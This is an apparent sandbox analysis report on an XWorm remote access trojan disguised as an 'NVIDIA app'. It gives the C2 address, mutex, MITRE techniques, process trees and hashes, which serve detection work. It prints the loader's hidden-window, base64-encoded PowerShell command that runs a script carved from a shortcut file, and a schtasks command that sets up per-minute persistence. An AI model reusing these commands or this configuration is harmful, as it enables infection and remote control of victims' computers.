xworm | hxxps://gofile[.]io/d/0hxASt

Resubmissions

05/03/2025, 16:37

250305-t5an3stjx4 10

05/03/2025, 16:32

250305-t174sasxfz 10

05/03/2025, 16:30

250305-tzwpcssry5 10

Analysis

max time kernel
87s
max time network
81s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
05/03/2025, 16:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://gofile.io/d/0hxASt

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

181.214.214.6:30120

Mutex

z5dRlxK0ktwBzYfm

Attributes

Install_directory
%ProgramData%
install_file
NVIDIA app.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000d000000023be1-155.dat	family_xworm
behavioral1/memory/5808-162-0x0000000000530000-0x0000000000540000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5472	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000\Control Panel\International\Geo\Nation	2v1.exe

Executes dropped EXE 1 IoCs

pid	Process
5808	2v1.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2278412438-3475196406-3686434223-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
5640	NOTEPAD.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6012	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2188	msedge.exe
2188	msedge.exe
4828	msedge.exe
4828	msedge.exe
3624	identity_helper.exe
3624	identity_helper.exe
2008	msedge.exe
2008	msedge.exe
4416	msedge.exe
4416	msedge.exe
5472	powershell.exe
5472	powershell.exe
5472	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1060	OpenWith.exe
5544	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeRestorePrivilege	5532	7zG.exe
Token: 35	5532	7zG.exe
Token: SeSecurityPrivilege	5532	7zG.exe
Token: SeSecurityPrivilege	5532	7zG.exe
Token: SeRestorePrivilege	5544	7zFM.exe
Token: 35	5544	7zFM.exe
Token: SeSecurityPrivilege	5544	7zFM.exe
Token: SeDebugPrivilege	5472	powershell.exe
Token: SeDebugPrivilege	5808	2v1.exe
Token: SeDebugPrivilege	5808	2v1.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
5532	7zG.exe
5544	7zFM.exe
5544	7zFM.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe
4828	msedge.exe

Suspicious use of SetWindowsHookEx 49 IoCs

pid	Process
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe
1060	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 4608	4828	msedge.exe	84
PID 4828 wrote to memory of 4608	4828	msedge.exe	84
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 5024	4828	msedge.exe	86
PID 4828 wrote to memory of 2188	4828	msedge.exe	87
PID 4828 wrote to memory of 2188	4828	msedge.exe	87
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88
PID 4828 wrote to memory of 2452	4828	msedge.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://gofile.io/d/0hxASt
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd9f3146f8,0x7ffd9f314708,0x7ffd9f314718
  2⤵
  PID:4608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2188 /prefetch:2
  2⤵
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
  2⤵
  PID:2452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:4496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
  2⤵
  PID:2644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4740 /prefetch:1
  2⤵
  PID:1060
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5192 /prefetch:8
  2⤵
  PID:1656
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5192 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4136 /prefetch:1
  2⤵
  PID:1912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:1
  2⤵
  PID:2288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4796 /prefetch:8
  2⤵
  PID:3508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5748 /prefetch:1
  2⤵
  PID:2116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2312 /prefetch:1
  2⤵
  PID:4188
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5224 /prefetch:1
  2⤵
  PID:5224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4816 /prefetch:1
  2⤵
  PID:436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,8818823098525251706,4352739397828040834,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5712 /prefetch:1
  2⤵
  PID:3768

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2672

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1820

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1060

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5272

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap18368:106:7zEvent9186
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5532

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\crashfiveguard (2).rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noni -noe -WindowStyle hidden -e JABzAGMAcgBpAHAAdABfAHMAdABhAHIAdABfAGIAeQB0AGUAIAA9ACAAMAB4ADAAMAAwADEAOQBlAGYANgAKACQAcwBjAHIAaQBwAHQAXwBsAGUAbgBnAHQAaAAgAD0AIAAyADcAOAA4ADsACgAkAGYAaQBsAGUAbgBhAG0AZQAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAKgAuAGwAbgBrACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAANQAxADIAMAAwAH0AIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAATgBhAG0AZQA7AAoACgBpAGYAIAAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAZgBpAGwAZQBuAGEAbQBlACkAKQAKAHsACgAkAHYAYQBsACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAuAC8AIAAtAEYAaQBsAHQAZQByACAAJABmAGkAbABlAG4AYQBtAGUAIAAtAFIAZQBjAHUAcgBzAGUAOwAKAGkAZgAgACgALQBuAG8AdAAgACQAdgBhAGwAKQAKAHsACgBlAHgAaQB0AAoAfQAKAFsASQBPAC4ARABpAHIAZQBjAHQAbwByAHkAXQA6ADoAUwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAoACQAdgBhAGwALgBEAGkAcgBlAGMAdABvAHIAeQBOAGEAbQBlACkAOwAKAH0ACgAkAGYAaQBsAGUAcwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEYAaQBsAGUAUwB0AHIAZQBhAG0AIAAkAGYAaQBsAGUAbgBhAG0AZQAsACcATwBwAGUAbgAnACwAJwBSAGUAYQBkACcALAAnAFIAZQBhAGQAVwByAGkAdABlACcAOwAKACQAdgBhAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACgAJABzAGMAcgBpAHAAdABfAGwAZQBuAGcAdABoACkAOwAKACQAcgAgAD0AIAAkAGYAaQBsAGUAcwB0AHIAZQBhAG0ALgBTAGUAZQBrACgAJABzAGMAcgBpAHAAdABfAHMAdABhAHIAdABfAGIAeQB0AGUALABbAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkAOwAKACQAcgAgAD0AIAAkAGYAaQBsAGUAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJAB2AGEAbAAsADAALAAkAHMAYwByAGkAcAB0AF8AbABlAG4AZwB0AGgAKQA7AAoAJAB2AGEAbAAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABDAGgAYQByAEEAcgByAGEAeQAoACQAdgBhAGwALAAwACwAJAB2AGEAbAAuAEwAZQBuAGcAdABoACkAOwAKACQAcwB0AHIAaQBuAGcAIAA9ACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB2AGEAbAApADsACgBpAGUAeAAgACQAcwB0AHIAaQBuAGcAOwA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5472
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\tesasd.txt
    3⤵
    - Opens file in notepad (likely ransom note)
    PID:5640
- - C:\Users\Admin\AppData\Local\2v1.exe
    "C:\Users\Admin\AppData\Local\2v1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5808
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NVIDIA app" /tr "C:\ProgramData\NVIDIA app.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\2v1.exe

Filesize
39KB

MD5
4806c4d94f23b4aa628a7429255dde3e

SHA1
7588e35d34ed8184e34364faf72a3171b9a853ee

SHA256
38027f90b5fa2ddf926f00a1fc93e12e47dc76c0c55d4b75e28205eee31dc573

SHA512
45c16a1fc3985bab29910dc08cad2e10773ab8b59a776220c84698027c84be9a006a6ec311b3a3bcbb3e4c872664f317242783a602e06ef6032cdf9a14accdbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4c9b7e612ef21ee665c70534d72524b0

SHA1
e76e22880ffa7d643933bf09544ceb23573d5add

SHA256
a64366387921aba157bba7472244791d5368aef8ecaf6472b616e1e130d7d05e

SHA512
e195e1ce5e7c06d193aa1f924d0079ea72b66eb22c3aea5b6811172251768f649368734e817996d9f0f72ddfd0e2bf2454aaee0bc650eaffd56fa125a334ae88

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9f4a0b24e1ad3a25fc9435eb63195e60

SHA1
052b5a37605d7e0e27d8b47bf162a000850196cd

SHA256
7d70a8fc286520712421636b563e9ee32335bca9a5be764544a084c77ddd5feb

SHA512
70897560b30f7885745fede85def923fb9a4f63820e351247d5dcbe81daab9dab49c1db03b29c390f58b3907d5025737a84fff026af2372c3233bc585dcfd284

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
47KB

MD5
109345152371bff65243158a220e6eb1

SHA1
b05b7abe782ef7bd89f04b1a0bf1e2f69291ec95

SHA256
1cca7067666f4730059e1eebe5f3346c139d13ebc6febda5d43ec6e3e782dcec

SHA512
6b93c76fb6afe1d5acfb7d68ebbb5eb95dae251386200ce59442ce3f6e16221c2a3a21a66ba1adb835939281c5f416fb6c7155ea94335254d9d44eb468dace52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
144B

MD5
3732a4ea8179180d3b139555bb2a9a78

SHA1
c9bb11803c55f7b5b657126b744bef3ec223f9ba

SHA256
a9935ce6ec0c65e894a23c7bcbd5e80d50b1b3a7d9a31deee4f41bad6052a77f

SHA512
c90faa748fa6263bf9f08af93d5e885d977fd68e15b0a6352a6dd1b93546b6da6af073d774872aff71591eb8819a99ee07835c194f92835a4bb93d137d5d0099

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
391B

MD5
edb040879f236da4fc6d079482843db0

SHA1
a8d524c4c1554689888cd68220e83bba110744cd

SHA256
c5cf236467a2be8fbf2d1dcd8613b47979286f864bb40d77343c9ad71fc7c9cc

SHA512
c99e886f7c591478d7352759d644c4ba2f337d8e863e50a514f27b763ce675f72a7787517a3fc2a0819465938a4cf960554d46ceedceaf7fa0ac878007470431

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
ae9decb65ac6ff17e84cc82627cb4bfd

SHA1
60e7ff2bc8a700d1f85169dc138489603f5f56f1

SHA256
f6a947053fa3ae1870b7ae32db87ba27ad48bdff2e312a53586f1e6e1d7c6974

SHA512
